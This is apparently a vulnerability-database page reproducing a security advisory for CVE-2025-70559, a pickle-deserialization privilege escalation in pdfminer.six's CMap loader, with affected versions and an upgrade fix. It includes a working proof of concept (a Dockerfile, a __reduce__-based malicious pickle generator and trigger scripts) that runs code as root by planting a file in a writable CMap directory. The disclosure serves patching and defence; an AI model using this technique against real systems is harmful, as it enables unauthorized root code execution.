NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2025-70559 β€” pdfminer-six

MEDIUMFix: pdfminer/pdfminer.six@b808ee0

CVE-2025-70559 is a medium-severity (CVSS 6.5) Deserialization of Untrusted Data vulnerability in pdfminer-six. A fix is available for pdfminer-six β€” see the affected versions and patch details below.

Insecure Deserialization (pickle) in pdfminer.six CMap Loader β€” Local Privesc

Also known asGHSA-f83h-ghpp-7wccPYSEC-2026-1761
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 Β· OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable β€” exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-70559.

EPSS Exploitation Probability

via FIRST.org β†—
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile β€” riskier than 25% of all scored CVEsHighest risk
0.00%0.27%0.55%0.82%0.1%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍pdfminer-six

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages β€” download data is not available via public APIs for these ecosystems.

Description

πŸš€ Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

line

🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

πŸ“š Table of Contents


πŸ” Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue: If the CMap search path (CMAP_PATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.


🐍 Vulnerability Description

  • Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
  • Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
  • Exploitability: If a low-privileged user can write to any directory in CMAP_PATH, they can execute code as the user running pdfminerβ€”potentially root or a privileged service.
  • Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

line

🎭 Demo Scenario

Environment:

  • 🐧 Alpine Linux (Docker container)
  • πŸ‘¨β€πŸ’» Two users:
    • user1 (attacker: low-privilege)
    • root (victim: runs privileged PDF-processing script)
  • πŸ—‚οΈ Shared writable directory: /tmp/uploads
  • πŸ›£οΈ CMAP_PATH set to /tmp/uploads for the privileged script
  • πŸ“¦ pdfminer.six installed system-wide

Attack Flow:

  1. πŸ•΅οΈβ€β™‚οΈ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads.
  2. πŸ‘‘ The privileged service (root) processes a PDF or calls get_cmap("Evil").
  3. πŸ’£ The malicious pickle is deserialized, running arbitrary code as root.
  4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

line

🧨 Technical Details

  • Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
  • Attack Prerequisites: Attacker can write to a directory included in CMAP_PATH
  • Vulnerable Line:
    return type(str(name), (), pickle.loads(gzfile.read()))
    
    In pdfminer/cmapdb.py's _load_data method
  • https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
  • Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain:

  • Attacker places a malicious .pickle.gz file in the CMap search path.
  • Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
  • Arbitrary code executes with the privilege of the process (root/service account).

line

πŸ”§ Setup and Usage

πŸ“ Files

</> Dockerfile

FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

</> evilmod.py

import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

</> createEvilPickle.py

import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

</> processPDF.py

import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

line

1️⃣ Build and start the demo container

docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

2️⃣ In the container, open two shells in parallel (or switch users in one):

πŸ•΅οΈβ€β™‚οΈ Shell 1 (Attacker: user1)

su user1
cd /app
python createEvilPickle.py
# βœ… Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

πŸ‘‘ Shell 2 (Victim: root)

cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

3️⃣ Proof of escalation

cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE
<img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" />

line

πŸ“ Step-by-step Walkthrough

  1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
  2. The root user runs a typical PDF-processing script, which loads CMap files from that directory.
  3. The exploit triggers, running arbitrary code as root.
  4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

line

πŸ›‘οΈ Security Standards & References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpdfminer-sixall versions20251230pip install --upgrade 'pdfminer-six==20251230'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pdfminer-six, including transitive dependencies β€” a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pdfminer-six to 20251230 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range β€” O3 confirms CVE-2025-70559 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### πŸš€ Overview This report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment. ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 🚨 Special Note This advisory addresses a distinct vulnerability from [GHSA-wf5
O3 Security Β· Impact-Aware SCA

Is CVE-2025-70559 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2025-70559: pdfminer-six RCE β€” Fixed in 20251230